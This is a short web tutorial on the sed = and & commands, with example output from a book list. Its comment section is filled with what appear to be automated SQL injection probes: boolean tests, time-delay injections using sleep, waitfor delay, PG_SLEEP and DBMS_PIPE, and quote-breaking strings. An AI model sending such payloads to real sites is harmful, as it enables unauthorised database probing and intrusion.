Stream Editor - Special Characters


Some of the useful SED special characters are as follows.
NOTE:-address1 and address2 are the starting and the ending addresses respectively.

Command Description
= Command the = command deals with line numbers.
& Command The & command supports the special character &.

Examples

\\Example of = command
$ sed '=' lfc.txt 
1
1) The Shadow of the Wind,  Carlos Ruiz Zafón
2
2) One Hundred Years of Solitude,  Gabriel García Márquez 
3
3) The Little Prince ,  Antoine de Saint
4
4) The Alchemist, Paulo Coelho 
------------------
------------------
\\Example of & command
$ sed 's/[[:digit:]]/Book number &/' lfc.txt
Book number 1) The Shadow of the Wind,  Carlos Ruiz Zafón
Book number 2) One Hundred Years of Solitude,  Gabriel García Márquez 
Book number 3) The Little Prince ,  Antoine de Saint
Book number 4) The Alchemist, Paulo Coelho 






Visit :


Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+652-652-1=0+0+0+1 --

pHqghUme
-1 OR 3+652-652-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+652-652) --

pHqghUme
-1 OR 3*2>(0+5+652-652) --

pHqghUme
-1 OR 2+798-798-1=0+0+0+1

pHqghUme
-1 OR 3+798-798-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+798-798)

pHqghUme
-1 OR 3*2>(0+5+798-798)

pHqghUme
-1' OR 2+715-715-1=0+0+0+1 --

pHqghUme
-1' OR 3+715-715-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+715-715) --

pHqghUme
-1' OR 3*2>(0+5+715-715) --

pHqghUme
-1' OR 2+156-156-1=0+0+0+1 or 'SXwPZHhT'='

pHqghUme
-1' OR 3+156-156-1=0+0+0+1 or 'SXwPZHhT'='

pHqghUme
-1' OR 3*2<(0+5+156-156) or 'SXwPZHhT'='

pHqghUme
-1' OR 3*2>(0+5+156-156) or 'SXwPZHhT'='

pHqghUme
-1" OR 2+809-809-1=0+0+0+1 --

pHqghUme
-1" OR 3+809-809-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+809-809) --

pHqghUme
-1" OR 3*2>(0+5+809-809) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
W5eOCduC'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 959=(SELECT 959 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 246=(SELECT 246 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 490=(SELECT 490 FROM PG_SLEEP(15))--

pHqghUme
l9eMU5nH' OR 817=(SELECT 817 FROM PG_SLEEP(15))--

pHqghUme
MrGpGfoT') OR 949=(SELECT 949 FROM PG_SLEEP(15))--

pHqghUme
7pnGoJgU')) OR 464=(SELECT 464 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@fkZlY

pHqghUme
555

pHqghUme
555

pHqghUme
555